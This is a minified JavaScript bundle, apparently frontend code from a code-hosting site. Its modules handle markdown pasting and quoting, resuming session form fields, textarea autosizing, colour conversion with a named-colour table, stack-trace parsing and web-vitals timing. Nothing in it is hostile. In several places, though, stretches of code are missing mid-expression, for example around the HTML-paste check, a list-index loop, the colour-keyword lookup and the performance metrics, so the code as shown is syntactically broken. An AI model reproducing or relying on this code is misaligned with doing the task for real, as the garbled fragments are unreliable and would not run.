L(f){if(Array.from(f.types).indexOf("text/html")===-1)return;const y=f.getData("text/html");if(!//,"").replace(//,` +${q}`)}i(L,"generateText");function j(f){f.addEventListener("paste",K)}i(j,"install");function W(f){f.removeEventListener("paste",K)}i(W,"uninstall");function K(f){const{currentTarget:y}=f;if(e(y))return;const k=f.clipboardData;if(!k||!V(k))return;const C=f.currentTarget;if(!(C instanceof HTMLTextAreaElement))return;const O=k.getData("text/x-gfm");!O||(f.stopPropagation(),f.preventDefault(),b(C,O))}i(K,"onPaste");function V(f){return Array.from(f.types).indexOf("text/x-gfm")>=0}i(V,"hasMarkdown");function oe(f){return o(f,B,w,A,j,n),{unsubscribe:()=>{t(f),re(f),r(f),x(f),R(f),W(f)}}}i(oe,"subscribe")},55498:(N,M,E)=>{"use strict";E.d(M,{I:()=>a,p:()=>u});function b(s){const c=s.parentNode;if(c===null||!(c instanceof HTMLElement))throw new Error;let m=0;c instanceof HTMLOListElement&&c.start!==1&&(m=c.start-1);const d=c.children;for(let p=0;p/g,">")}i(t,"escapeAttribute");const n={INPUT(s){return s instanceof HTMLInputElement&&s.checked?"[x] ":"[ ] "},CODE(s){const c=s.textContent||"";return s.parentNode&&s.parentNode.nodeName==="PRE"?(s.textContent=`\`\`\` +${c.replace(/\n+$/,"")} +\`\`\` + +`,s):c.indexOf("`")>=0?`\`\` ${c} \`\``:`\`${c}\``},P(s){const c=document.createElement("p"),m=s.textContent||"";return c.textContent=m.replace(/<(\/?)(pre|strong|weak|em)>/g,"\\<$1$2\\>"),c},STRONG(s){return`**${s.textContent||""}**`},EM(s){return`_${s.textContent||""}_`},DEL(s){return`~${s.textContent||""}~`},BLOCKQUOTE(s){const c=(s.textContent||"").trim().replace(/^/gm,"> "),m=document.createElement("pre");return m.textContent=`${c} + +`,m},A(s){const c=s.textContent||"",m=s.getAttribute("href");return/^https?:/.test(c)&&c===m?c:m?`[${c}](${m})`:c},IMG(s){const c=s.getAttribute("alt")||"",m=s.getAttribute("src");if(!m)throw new Error;const d=s.hasAttribute("width")?` width="${t(s.getAttribute("width")||"")}"`:"",p=s.hasAttribute("height")?` height="${t(s.getAttribute("height")||"")}"`:"";return d||p?`${t(c)}`:`![${c}](${m})`},LI(s){const c=s.parentNode;if(!c)throw new Error;let m="";o(s)||(c.nodeName==="OL"?e>0&&!c.previousSibling?m=`${b(s)+e+1}\\. `:m=`${b(s)+1}. `:m="* ");const d=m.replace(/\S/g," "),p=(s.textContent||"").trim().replace(/^/gm,d),g=document.createElement("pre");return g.textContent=p.replace(d,m),g},OL(s){const c=document.createElement("li");return c.appendChild(document.createElement("br")),s.append(c),s},H1(s){const c=parseInt(s.nodeName.slice(1));return s.prepend(`${Array(c+1).join("#")} `),s},UL(s){return s}};n.UL=n.OL;for(let s=2;s<=6;++s)n[`H${s}`]=n.H1;function r(s){const c=document.createNodeIterator(s,NodeFilter.SHOW_ELEMENT,{acceptNode(p){return p.nodeName in n&&!_(p)&&(h(p)||v(p))?NodeFilter.FILTER_ACCEPT:NodeFilter.FILTER_SKIP}}),m=[];let d=c.nextNode();for(;d;)d instanceof HTMLElement&&m.push(d),d=c.nextNode();m.reverse();for(const p of m)p.replaceWith(n[p.nodeName](p))}i(r,"insertMarkdownSyntax");function l(s,c){const m=s.startContainer;if(!m||!m.parentNode||!(m.parentNode instanceof HTMLElement))throw new Error("the range must start within an HTMLElement");const d=m.parentNode;let p=s.cloneContents();if(c){const x=p.querySelector(c);x&&(p=document.createDocumentFragment(),p.appendChild(x))}e=0;const g=d.closest("li");if(d.closest("pre")){const x=document.createElement("pre");x.appendChild(p),p=document.createDocumentFragment(),p.appendChild(x)}else if(g&&g.parentNode&&(g.parentNode.nodeName==="OL"&&(e=b(g)),!p.querySelector("li"))){const x=document.createElement("li");if(!g.parentNode)throw new Error;const I=document.createElement(g.parentNode.nodeName);x.appendChild(p),I.appendChild(x),p=document.createDocumentFragment(),p.appendChild(I)}return p}i(l,"extractFragment");class u{constructor(){this.selection=window.getSelection()}closest(c){const m=this.range.startContainer,d=m instanceof Element?m:m.parentElement;return d?d.closest(c):null}get active(){var c;return(((c=this.selection)===null||c===void 0?void 0:c.rangeCount)||0)>0}get range(){var c;return((c=this.selection)===null||c===void 0?void 0:c.rangeCount)?this.selection.getRangeAt(0):new Range}set range(c){var m,d;(m=this.selection)===null||m===void 0||m.removeAllRanges(),(d=this.selection)===null||d===void 0||d.addRange(c)}get selectionText(){var c;return((c=this.selection)===null||c===void 0?void 0:c.toString().trim())||""}get quotedText(){return`> ${this.selectionText.replace(/\n/g,` +> `)} + +`}select(c){this.selection&&(this.selection.removeAllRanges(),this.selection.selectAllChildren(c))}insert(c){c.value?c.value=`${c.value} + +${this.quotedText}`:c.value=this.quotedText,c.dispatchEvent(new CustomEvent("change",{bubbles:!0,cancelable:!1})),c.focus(),c.selectionStart=c.value.length,c.scrollTop=c.scrollHeight}}i(u,"Quote");class a extends u{constructor(c="",m){super();this.scopeSelector=c,this.callback=m}get selectionText(){var c,m;if(!this.selection)return"";const d=l(this.range,(c=this.scopeSelector)!==null&&c!==void 0?c:"");(m=this.callback)===null||m===void 0||m.call(this,d),r(d);const p=document.body;if(!p)return"";const g=document.createElement("div");g.appendChild(d),g.style.cssText="position:absolute;left:-9999px;",p.appendChild(g);let w="";try{const x=document.createRange();x.selectNodeContents(g),this.selection.removeAllRanges(),this.selection.addRange(x),w=this.selection.toString(),this.selection.removeAllRanges(),x.detach()}finally{p.removeChild(g)}return w.trim()}}i(a,"MarkdownQuote")},407:(N,M,E)=>{"use strict";E.d(M,{Xm:()=>h,e6:()=>v,iO:()=>e});let b=null;function _(o){return!!o.id&&o.value!==o.defaultValue&&o.form!==b}i(_,"shouldResumeField");function h(o,t){var n,r;const l=(n=t==null?void 0:t.selector)!==null&&n!==void 0?n:".js-session-resumable",a=`${(r=t==null?void 0:t.keyPrefix)!==null&&r!==void 0?r:"session-resume:"}${o}`,s=[];for(const m of document.querySelectorAll(l))(m instanceof HTMLInputElement||m instanceof HTMLTextAreaElement)&&s.push(m);let c=s.filter(m=>_(m)).map(m=>[m.id,m.value]);if(c.length)try{const m=sessionStorage.getItem(a);if(m!==null){const p=JSON.parse(m).filter(function(g){return!c.some(w=>w[0]===g[0])});c=c.concat(p)}sessionStorage.setItem(a,JSON.stringify(c))}catch{}}i(h,"persistResumableFields");function v(o,t){var n;const l=`${(n=t==null?void 0:t.keyPrefix)!==null&&n!==void 0?n:"session-resume:"}${o}`;let u;try{u=sessionStorage.getItem(l)}catch{}if(!u)return;const a=[],s=[];for(const[c,m]of JSON.parse(u)){const d=new CustomEvent("session:resume",{bubbles:!0,cancelable:!0,detail:{targetId:c,targetValue:m}});if(document.dispatchEvent(d)){const p=document.getElementById(c);p&&(p instanceof HTMLInputElement||p instanceof HTMLTextAreaElement)?p.value===p.defaultValue&&(p.value=m,a.push(p)):s.push([c,m])}}if(s.length===0)try{sessionStorage.removeItem(l)}catch{}else sessionStorage.setItem(l,JSON.stringify(s));setTimeout(function(){for(const c of a)c.dispatchEvent(new CustomEvent("change",{bubbles:!0,cancelable:!0}))},0)}i(v,"restoreResumableFields");function e(o){b=o.target,setTimeout(function(){o.defaultPrevented&&(b=null)},0)}i(e,"setForm")},54430:(N,M,E)=>{"use strict";E.d(M,{Z:()=>_});function b(h){var v=null,e=!1,o=void 0,t=void 0,n=void 0;function r(d){if(o!==d.clientX||t!==d.clientY){var p=h.style.height;n&&n!==p&&(e=!0,h.style.maxHeight="",h.removeEventListener("mousemove",r)),n=p}o=d.clientX,t=d.clientY}i(r,"onUserResize");var l=h.ownerDocument,u=l.documentElement;function a(){for(var d=0,p=h;p!==l.body&&p!==null;)d+=p.offsetTop||0,p=p.offsetParent;var g=d-l.defaultView.pageYOffset,w=u.clientHeight-(g+h.offsetHeight);return{top:g,bottom:w}}i(a,"overflowOffset");function s(){if(!e&&h.value!==v&&!(h.offsetWidth<=0&&h.offsetHeight<=0)){var d=a(),p=d.top,g=d.bottom;if(!(p<0||g<0)){var w=Number(getComputedStyle(h).height.replace(/px/,""))+g;h.style.maxHeight=w-100+"px";var x=h.parentElement;if(x instanceof HTMLElement){var I=x.style.height;x.style.height=getComputedStyle(x).height,h.style.height="auto",h.style.height=h.scrollHeight+"px",x.style.height=I,n=h.style.height}v=h.value}}}i(s,"sizeToFit");function c(){e=!1,h.style.height="",h.style.maxHeight=""}i(c,"onFormReset"),h.addEventListener("mousemove",r),h.addEventListener("input",s),h.addEventListener("change",s);var m=h.form;return m&&m.addEventListener("reset",c),h.value&&s(),{unsubscribe:i(function(){h.removeEventListener("mousemove",r),h.removeEventListener("input",s),h.removeEventListener("change",s),m&&m.removeEventListener("reset",c)},"unsubscribe")}}i(b,"autosize");const _=b},48168:(N,M,E)=>{const b=E(39092),_={};for(const e of Object.keys(b))_[b[e]]=e;const h={rgb:{channels:3,labels:"rgb"},hsl:{channels:3,labels:"hsl"},hsv:{channels:3,labels:"hsv"},hwb:{channels:3,labels:"hwb"},cmyk:{channels:4,labels:"cmyk"},xyz:{channels:3,labels:"xyz"},lab:{channels:3,labels:"lab"},lch:{channels:3,labels:"lch"},hex:{channels:1,labels:["hex"]},keyword:{channels:1,labels:["keyword"]},ansi16:{channels:1,labels:["ansi16"]},ansi256:{channels:1,labels:["ansi256"]},hcg:{channels:3,labels:["h","c","g"]},apple:{channels:3,labels:["r16","g16","b16"]},gray:{channels:1,labels:["gray"]}};N.exports=h;for(const e of Object.keys(h)){if(!("channels"in h[e]))throw new Error("missing channels property: "+e);if(!("labels"in h[e]))throw new Error("missing channel labels property: "+e);if(h[e].labels.length!==h[e].channels)throw new Error("channel and label counts mismatch: "+e);const{channels:o,labels:t}=h[e];delete h[e].channels,delete h[e].labels,Object.defineProperty(h[e],"channels",{value:o}),Object.defineProperty(h[e],"labels",{value:t})}h.rgb.hsl=function(e){const o=e[0]/255,t=e[1]/255,n=e[2]/255,r=Math.min(o,t,n),l=Math.max(o,t,n),u=l-r;let a,s;l===r?a=0:o===l?a=(t-n)/u:t===l?a=2+(n-o)/u:n===l&&(a=4+(o-t)/u),a=Math.min(a*60,360),a<0&&(a+=360);const c=(r+l)/2;return l===r?s=0:c<=.5?s=u/(l+r):s=u/(2-l-r),[a,s*100,c*100]},h.rgb.hsv=function(e){let o,t,n,r,l;const u=e[0]/255,a=e[1]/255,s=e[2]/255,c=Math.max(u,a,s),m=c-Math.min(u,a,s),d=i(function(p){return(c-p)/6/m+1/2},"diffc");return m===0?(r=0,l=0):(l=m/c,o=d(u),t=d(a),n=d(s),u===c?r=n-t:a===c?r=1/3+o-n:s===c&&(r=2/3+t-o),r<0?r+=1:r>1&&(r-=1)),[r*360,l*100,c*100]},h.rgb.hwb=function(e){const o=e[0],t=e[1];let n=e[2];const r=h.rgb.hsl(e)[0],l=1/255*Math.min(o,Math.min(t,n));return n=1-1/255*Math.max(o,Math.max(t,n)),[r,l*100,n*100]},h.rgb.cmyk=function(e){const o=e[0]/255,t=e[1]/255,n=e[2]/255,r=Math.min(1-o,1-t,1-n),l=(1-o-r)/(1-r)||0,u=(1-t-r)/(1-r)||0,a=(1-n-r)/(1-r)||0;return[l*100,u*100,a*100,r*100]};function v(e,o){return(e[0]-o[0])**2+(e[1]-o[1])**2+(e[2]-o[2])**2}i(v,"comparativeDistance"),h.rgb.keyword=function(e){const o=_[e];if(o)return o;let t=1/0,n;for(const r of Object.keys(b)){const l=b[r],u=v(e,l);u.04045?((o+.055)/1.055)**2.4:o/12.92,t=t>.04045?((t+.055)/1.055)**2.4:t/12.92,n=n>.04045?((n+.055)/1.055)**2.4:n/12.92;const r=o*.4124+t*.3576+n*.1805,l=o*.2126+t*.7152+n*.0722,u=o*.0193+t*.1192+n*.9505;return[r*100,l*100,u*100]},h.rgb.lab=function(e){const o=h.rgb.xyz(e);let t=o[0],n=o[1],r=o[2];t/=95.047,n/=100,r/=108.883,t=t>.008856?t**(1/3):7.787*t+16/116,n=n>.008856?n**(1/3):7.787*n+16/116,r=r>.008856?r**(1/3):7.787*r+16/116;const l=116*n-16,u=500*(t-n),a=200*(n-r);return[l,u,a]},h.hsl.rgb=function(e){const o=e[0]/360,t=e[1]/100,n=e[2]/100;let r,l,u;if(t===0)return u=n*255,[u,u,u];n<.5?r=n*(1+t):r=n+t-n*t;const a=2*n-r,s=[0,0,0];for(let c=0;c<3;c++)l=o+1/3*-(c-1),l<0&&l++,l>1&&l--,6*l<1?u=a+(r-a)*6*l:2*l<1?u=r:3*l<2?u=a+(r-a)*(2/3-l)*6:u=a,s[c]=u*255;return s},h.hsl.hsv=function(e){const o=e[0];let t=e[1]/100,n=e[2]/100,r=t;const l=Math.max(n,.01);n*=2,t*=n<=1?n:2-n,r*=l<=1?l:2-l;const u=(n+t)/2,a=n===0?2*r/(l+r):2*t/(n+t);return[o,a*100,u*100]},h.hsv.rgb=function(e){const o=e[0]/60,t=e[1]/100;let n=e[2]/100;const r=Math.floor(o)%6,l=o-Math.floor(o),u=255*n*(1-t),a=255*n*(1-t*l),s=255*n*(1-t*(1-l));switch(n*=255,r){case 0:return[n,s,u];case 1:return[a,n,u];case 2:return[u,n,s];case 3:return[u,a,n];case 4:return[s,u,n];case 5:return[n,u,a]}},h.hsv.hsl=function(e){const o=e[0],t=e[1]/100,n=e[2]/100,r=Math.max(n,.01);let l,u;u=(2-t)*n;const a=(2-t)*r;return l=t*r,l/=a<=1?a:2-a,l=l||0,u/=2,[o,l*100,u*100]},h.hwb.rgb=function(e){const o=e[0]/360;let t=e[1]/100,n=e[2]/100;const r=t+n;let l;r>1&&(t/=r,n/=r);const u=Math.floor(6*o),a=1-n;l=6*o-u,(u&1)!==0&&(l=1-l);const s=t+l*(a-t);let c,m,d;switch(u){default:case 6:case 0:c=a,m=s,d=t;break;case 1:c=s,m=a,d=t;break;case 2:c=t,m=a,d=s;break;case 3:c=t,m=s,d=a;break;case 4:c=s,m=t,d=a;break;case 5:c=a,m=t,d=s;break}return[c*255,m*255,d*255]},h.cmyk.rgb=function(e){const o=e[0]/100,t=e[1]/100,n=e[2]/100,r=e[3]/100,l=1-Math.min(1,o*(1-r)+r),u=1-Math.min(1,t*(1-r)+r),a=1-Math.min(1,n*(1-r)+r);return[l*255,u*255,a*255]},h.xyz.rgb=function(e){const o=e[0]/100,t=e[1]/100,n=e[2]/100;let r,l,u;return r=o*3.2406+t*-1.5372+n*-.4986,l=o*-.9689+t*1.8758+n*.0415,u=o*.0557+t*-.204+n*1.057,r=r>.0031308?1.055*r**(1/2.4)-.055:r*12.92,l=l>.0031308?1.055*l**(1/2.4)-.055:l*12.92,u=u>.0031308?1.055*u**(1/2.4)-.055:u*12.92,r=Math.min(Math.max(0,r),1),l=Math.min(Math.max(0,l),1),u=Math.min(Math.max(0,u),1),[r*255,l*255,u*255]},h.xyz.lab=function(e){let o=e[0],t=e[1],n=e[2];o/=95.047,t/=100,n/=108.883,o=o>.008856?o**(1/3):7.787*o+16/116,t=t>.008856?t**(1/3):7.787*t+16/116,n=n>.008856?n**(1/3):7.787*n+16/116;const r=116*t-16,l=500*(o-t),u=200*(t-n);return[r,l,u]},h.lab.xyz=function(e){const o=e[0],t=e[1],n=e[2];let r,l,u;l=(o+16)/116,r=t/500+l,u=l-n/200;const a=l**3,s=r**3,c=u**3;return l=a>.008856?a:(l-16/116)/7.787,r=s>.008856?s:(r-16/116)/7.787,u=c>.008856?c:(u-16/116)/7.787,r*=95.047,l*=100,u*=108.883,[r,l,u]},h.lab.lch=function(e){const o=e[0],t=e[1],n=e[2];let r;r=Math.atan2(n,t)*360/2/Math.PI,r<0&&(r+=360);const u=Math.sqrt(t*t+n*n);return[o,u,r]},h.lch.lab=function(e){const o=e[0],t=e[1],r=e[2]/360*2*Math.PI,l=t*Math.cos(r),u=t*Math.sin(r);return[o,l,u]},h.rgb.ansi16=function(e,o=null){const[t,n,r]=e;let l=o===null?h.rgb.hsv(e)[2]:o;if(l=Math.round(l/50),l===0)return 30;let u=30+(Math.round(r/255)<<2|Math.round(n/255)<<1|Math.round(t/255));return l===2&&(u+=60),u},h.hsv.ansi16=function(e){return h.rgb.ansi16(h.hsv.rgb(e),e[2])},h.rgb.ansi256=function(e){const o=e[0],t=e[1],n=e[2];return o===t&&t===n?o<8?16:o>248?231:Math.round((o-8)/247*24)+232:16+36*Math.round(o/255*5)+6*Math.round(t/255*5)+Math.round(n/255*5)},h.ansi16.rgb=function(e){let o=e%10;if(o===0||o===7)return e>50&&(o+=3.5),o=o/10.5*255,[o,o,o];const t=(~~(e>50)+1)*.5,n=(o&1)*t*255,r=(o>>1&1)*t*255,l=(o>>2&1)*t*255;return[n,r,l]},h.ansi256.rgb=function(e){if(e>=232){const l=(e-232)*10+8;return[l,l,l]}e-=16;let o;const t=Math.floor(e/36)/5*255,n=Math.floor((o=e%36)/6)/5*255,r=o%6/5*255;return[t,n,r]},h.rgb.hex=function(e){const t=(((Math.round(e[0])&255)<<16)+((Math.round(e[1])&255)<<8)+(Math.round(e[2])&255)).toString(16).toUpperCase();return"000000".substring(t.length)+t},h.hex.rgb=function(e){const o=e.toString(16).match(/[a-f0-9]{6}|[a-f0-9]{3}/i);if(!o)return[0,0,0];let t=o[0];o[0].length===3&&(t=t.split("").map(a=>a+a).join(""));const n=parseInt(t,16),r=n>>16&255,l=n>>8&255,u=n&255;return[r,l,u]},h.rgb.hcg=function(e){const o=e[0]/255,t=e[1]/255,n=e[2]/255,r=Math.max(Math.max(o,t),n),l=Math.min(Math.min(o,t),n),u=r-l;let a,s;return u<1?a=l/(1-u):a=0,u<=0?s=0:r===o?s=(t-n)/u%6:r===t?s=2+(n-o)/u:s=4+(o-t)/u,s/=6,s%=1,[s*360,u*100,a*100]},h.hsl.hcg=function(e){const o=e[1]/100,t=e[2]/100,n=t<.5?2*o*t:2*o*(1-t);let r=0;return n<1&&(r=(t-.5*n)/(1-n)),[e[0],n*100,r*100]},h.hsv.hcg=function(e){const o=e[1]/100,t=e[2]/100,n=o*t;let r=0;return n<1&&(r=(t-n)/(1-n)),[e[0],n*100,r*100]},h.hcg.rgb=function(e){const o=e[0]/360,t=e[1]/100,n=e[2]/100;if(t===0)return[n*255,n*255,n*255];const r=[0,0,0],l=o%1*6,u=l%1,a=1-u;let s=0;switch(Math.floor(l)){case 0:r[0]=1,r[1]=u,r[2]=0;break;case 1:r[0]=a,r[1]=1,r[2]=0;break;case 2:r[0]=0,r[1]=1,r[2]=u;break;case 3:r[0]=0,r[1]=a,r[2]=1;break;case 4:r[0]=u,r[1]=0,r[2]=1;break;default:r[0]=1,r[1]=0,r[2]=a}return s=(1-t)*n,[(t*r[0]+s)*255,(t*r[1]+s)*255,(t*r[2]+s)*255]},h.hcg.hsv=function(e){const o=e[1]/100,t=e[2]/100,n=o+t*(1-o);let r=0;return n>0&&(r=o/n),[e[0],r*100,n*100]},h.hcg.hsl=function(e){const o=e[1]/100,n=e[2]/100*(1-o)+.5*o;let r=0;return n>0&&n<.5?r=o/(2*n):n>=.5&&n<1&&(r=o/(2*(1-n))),[e[0],r*100,n*100]},h.hcg.hwb=function(e){const o=e[1]/100,t=e[2]/100,n=o+t*(1-o);return[e[0],(n-o)*100,(1-n)*100]},h.hwb.hcg=function(e){const o=e[1]/100,t=e[2]/100,n=1-t,r=n-o;let l=0;return r<1&&(l=(n-r)/(1-r)),[e[0],r*100,l*100]},h.apple.rgb=function(e){return[e[0]/65535*255,e[1]/65535*255,e[2]/65535*255]},h.rgb.apple=function(e){return[e[0]/255*65535,e[1]/255*65535,e[2]/255*65535]},h.gray.rgb=function(e){return[e[0]/100*255,e[0]/100*255,e[0]/100*255]},h.gray.hsl=function(e){return[0,0,e[0]]},h.gray.hsv=h.gray.hsl,h.gray.hwb=function(e){return[0,100,e[0]]},h.gray.cmyk=function(e){return[0,0,0,e[0]]},h.gray.lab=function(e){return[e[0],0,0]},h.gray.hex=function(e){const o=Math.round(e[0]/100*255)&255,n=((o<<16)+(o<<8)+o).toString(16).toUpperCase();return"000000".substring(n.length)+n},h.rgb.gray=function(e){return[(e[0]+e[1]+e[2])/3/255*100]}},12085:(N,M,E)=>{const b=E(48168),_=E(4111),h={},v=Object.keys(b);function e(t){const n=i(function(...r){const l=r[0];return l==null?l:(l.length>1&&(r=l),t(r))},"wrappedFn");return"conversion"in t&&(n.conversion=t.conversion),n}i(e,"wrapRaw");function o(t){const n=i(function(...r){const l=r[0];if(l==null)return l;l.length>1&&(r=l);const u=t(r);if(typeof u=="object")for(let a=u.length,s=0;s{h[t]={},Object.defineProperty(h[t],"channels",{value:b[t].channels}),Object.defineProperty(h[t],"labels",{value:b[t].labels});const n=_(t);Object.keys(n).forEach(l=>{const u=n[l];h[t][l]=o(u),h[t][l].raw=e(u)})}),N.exports=h},39092:N=>{"use strict";N.exports={aliceblue:[240,248,255],antiquewhite:[250,235,215],aqua:[0,255,255],aquamarine:[127,255,212],azure:[240,255,255],beige:[245,245,220],bisque:[255,228,196],black:[0,0,0],blanchedalmond:[255,235,205],blue:[0,0,255],blueviolet:[138,43,226],brown:[165,42,42],burlywood:[222,184,135],cadetblue:[95,158,160],chartreuse:[127,255,0],chocolate:[210,105,30],coral:[255,127,80],cornflowerblue:[100,149,237],cornsilk:[255,248,220],crimson:[220,20,60],cyan:[0,255,255],darkblue:[0,0,139],darkcyan:[0,139,139],darkgoldenrod:[184,134,11],darkgray:[169,169,169],darkgreen:[0,100,0],darkgrey:[169,169,169],darkkhaki:[189,183,107],darkmagenta:[139,0,139],darkolivegreen:[85,107,47],darkorange:[255,140,0],darkorchid:[153,50,204],darkred:[139,0,0],darksalmon:[233,150,122],darkseagreen:[143,188,143],darkslateblue:[72,61,139],darkslategray:[47,79,79],darkslategrey:[47,79,79],darkturquoise:[0,206,209],darkviolet:[148,0,211],deeppink:[255,20,147],deepskyblue:[0,191,255],dimgray:[105,105,105],dimgrey:[105,105,105],dodgerblue:[30,144,255],firebrick:[178,34,34],floralwhite:[255,250,240],forestgreen:[34,139,34],fuchsia:[255,0,255],gainsboro:[220,220,220],ghostwhite:[248,248,255],gold:[255,215,0],goldenrod:[218,165,32],gray:[128,128,128],green:[0,128,0],greenyellow:[173,255,47],grey:[128,128,128],honeydew:[240,255,240],hotpink:[255,105,180],indianred:[205,92,92],indigo:[75,0,130],ivory:[255,255,240],khaki:[240,230,140],lavender:[230,230,250],lavenderblush:[255,240,245],lawngreen:[124,252,0],lemonchiffon:[255,250,205],lightblue:[173,216,230],lightcoral:[240,128,128],lightcyan:[224,255,255],lightgoldenrodyellow:[250,250,210],lightgray:[211,211,211],lightgreen:[144,238,144],lightgrey:[211,211,211],lightpink:[255,182,193],lightsalmon:[255,160,122],lightseagreen:[32,178,170],lightskyblue:[135,206,250],lightslategray:[119,136,153],lightslategrey:[119,136,153],lightsteelblue:[176,196,222],lightyellow:[255,255,224],lime:[0,255,0],limegreen:[50,205,50],linen:[250,240,230],magenta:[255,0,255],maroon:[128,0,0],mediumaquamarine:[102,205,170],mediumblue:[0,0,205],mediumorchid:[186,85,211],mediumpurple:[147,112,219],mediumseagreen:[60,179,113],mediumslateblue:[123,104,238],mediumspringgreen:[0,250,154],mediumturquoise:[72,209,204],mediumvioletred:[199,21,133],midnightblue:[25,25,112],mintcream:[245,255,250],mistyrose:[255,228,225],moccasin:[255,228,181],navajowhite:[255,222,173],navy:[0,0,128],oldlace:[253,245,230],olive:[128,128,0],olivedrab:[107,142,35],orange:[255,165,0],orangered:[255,69,0],orchid:[218,112,214],palegoldenrod:[238,232,170],palegreen:[152,251,152],paleturquoise:[175,238,238],palevioletred:[219,112,147],papayawhip:[255,239,213],peachpuff:[255,218,185],peru:[205,133,63],pink:[255,192,203],plum:[221,160,221],powderblue:[176,224,230],purple:[128,0,128],rebeccapurple:[102,51,153],red:[255,0,0],rosybrown:[188,143,143],royalblue:[65,105,225],saddlebrown:[139,69,19],salmon:[250,128,114],sandybrown:[244,164,96],seagreen:[46,139,87],seashell:[255,245,238],sienna:[160,82,45],silver:[192,192,192],skyblue:[135,206,235],slateblue:[106,90,205],slategray:[112,128,144],slategrey:[112,128,144],snow:[255,250,250],springgreen:[0,255,127],steelblue:[70,130,180],tan:[210,180,140],teal:[0,128,128],thistle:[216,191,216],tomato:[255,99,71],turquoise:[64,224,208],violet:[238,130,238],wheat:[245,222,179],white:[255,255,255],whitesmoke:[245,245,245],yellow:[255,255,0],yellowgreen:[154,205,50]}},4111:(N,M,E)=>{const b=E(48168);function _(){const o={},t=Object.keys(b);for(let n=t.length,r=0;r{"use strict";E.d(M,{_8:()=>b,uQ:()=>_});function b(e,o){return _(h(e),o)}i(b,"preserveAnchorNodePosition");function _(e,o){var t=e;if(!t)return Promise.resolve(o());var n=t.ownerDocument.documentElement;function r(a){for(var s=[];a;){var c=a.getBoundingClientRect(),m=c.top,d=c.left;s.push({element:a,top:m,left:d}),a=a.parentElement}return s}i(r,"computeAncestorBoundingRects");function l(a){for(var s=0;s{"use strict";E.d(M,{Q:()=>_});var b="";function _(m){var d=m.split(` +`);return d.reduce(function(p,g){var w=e(g)||t(g)||l(g)||c(g)||a(g);return w&&p.push(w),p},[])}i(_,"parse");var h=/^\s*at (.*?) ?\(((?:file|https?|blob|chrome-extension|native|eval|webpack||\/).*?)(?::(\d+))?(?::(\d+))?\)?\s*$/i,v=/\((\S*)(?::(\d+))(?::(\d+))\)/;function e(m){var d=h.exec(m);if(!d)return null;var p=d[2]&&d[2].indexOf("native")===0,g=d[2]&&d[2].indexOf("eval")===0,w=v.exec(d[2]);return g&&w!=null&&(d[2]=w[1],d[3]=w[2],d[4]=w[3]),{file:p?null:d[2],methodName:d[1]||b,arguments:p?[d[2]]:[],lineNumber:d[3]?+d[3]:null,column:d[4]?+d[4]:null}}i(e,"parseChrome");var o=/^\s*at (?:((?:\[object object\])?.+) )?\(?((?:file|ms-appx|https?|webpack|blob):.*?):(\d+)(?::(\d+))?\)?\s*$/i;function t(m){var d=o.exec(m);return d?{file:d[2],methodName:d[1]||b,arguments:[],lineNumber:+d[3],column:d[4]?+d[4]:null}:null}i(t,"parseWinjs");var n=/^\s*(.*?)(?:\((.*?)\))?(?:^|@)((?:file|https?|blob|chrome|webpack|resource|\[native).*?|[^@]*bundle)(?::(\d+))?(?::(\d+))?\s*$/i,r=/(\S+) line (\d+)(?: > eval line \d+)* > eval/i;function l(m){var d=n.exec(m);if(!d)return null;var p=d[3]&&d[3].indexOf(" > eval")>-1,g=r.exec(d[3]);return p&&g!=null&&(d[3]=g[1],d[4]=g[2],d[5]=null),{file:d[3],methodName:d[1]||b,arguments:d[2]?d[2].split(","):[],lineNumber:d[4]?+d[4]:null,column:d[5]?+d[5]:null}}i(l,"parseGecko");var u=/^\s*(?:([^@]*)(?:\((.*?)\))?@)?(\S.*?):(\d+)(?::(\d+))?\s*$/i;function a(m){var d=u.exec(m);return d?{file:d[3],methodName:d[1]||b,arguments:[],lineNumber:+d[4],column:d[5]?+d[5]:null}:null}i(a,"parseJSC");var s=/^\s*at (?:((?:\[object object\])?[^\\/]+(?: \[as \S+\])?) )?\(?(.*?):(\d+)(?::(\d+))?\)?\s*$/i;function c(m){var d=s.exec(m);return d?{file:d[2],methodName:d[1]||b,arguments:[],lineNumber:+d[3],column:d[4]?+d[4]:null}:null}i(c,"parseNode")},82131:(N,M,E)=>{"use strict";E.d(M,{CA:()=>ne,Tb:()=>te,Tx:()=>X,Y:()=>c,kz:()=>p});var b,_,h,v,e=i(function(P,T){return{name:P,value:T===void 0?-1:T,delta:0,entries:[],id:"v2-".concat(Date.now(),"-").concat(Math.floor(8999999999999*Math.random())+1e12)}},"r"),o=i(function(P,T){try{if(PerformanceObserver.supportedEntryTypes.includes(P)){if(P==="first-input"&&!("PerformanceEventTiming"in self))return;var A=new PerformanceObserver(function(R){return R.getEntries().map(T)});return A.observe({type:P,buffered:!0}),A}}catch{}},"a"),t=i(function(P,T){var A=i(function R(S){S.type!=="pagehide"&&document.visibilityState!=="hidden"||(P(S),T&&(removeEventListener("visibilitychange",R,!0),removeEventListener("pagehide",R,!0)))},"n");addEventListener("visibilitychange",A,!0),addEventListener("pagehide",A,!0)},"o"),n=i(function(P){addEventListener("pageshow",function(T){T.persisted&&P(T)},!0)},"u"),r=i(function(P,T,A){var R;return function(S){T.value>=0&&(S||A)&&(T.delta=T.value-(R||0),(T.delta||R===void 0)&&(R=T.value,P(T)))}},"c"),l=-1,u=i(function(){return document.visibilityState==="hidden"?0:1/0},"s"),a=i(function(){t(function(P){var T=P.timeStamp;l=T},!0)},"m"),s=i(function(){return l<0&&(l=u(),a(),n(function(){setTimeout(function(){l=u(),a()},0)})),{get firstHiddenTime(){return l}}},"v"),c=i(function(P,T){var A,R=s(),S=e("FCP"),F=i(function(H){H.name==="first-contentful-paint"&&(U&&U.disconnect(),H.startTime-1&&P(B)},"i"),S=e("CLS",0),F=0,D=[],U=i(function(B){if(!B.hadRecentInput){var re=D[0],G=D[D.length-1];F&&B.startTime-G.startTime<1e3&&B.startTime-re.startTime<5e3?(F+=B.value,D.push(B)):(F=B.value,D=[B]),F>S.value&&(S.value=F,S.entries=D,A())}},"v"),H=o("layout-shift",U);H&&(A=r(R,S,T),t(function(){H.takeRecords().map(U),A(!0)}),n(function(){F=0,d=-1,S=e("CLS",0),A=r(R,S,T)}))},"h"),g={passive:!0,capture:!0},w=new Date,x=i(function(P,T){b||(b=T,_=P,h=new Date,z(removeEventListener),I())},"g"),I=i(function(){if(_>=0&&_1e12?new Date:performance.now())-P.timeStamp;P.type=="pointerdown"?function(A,R){var 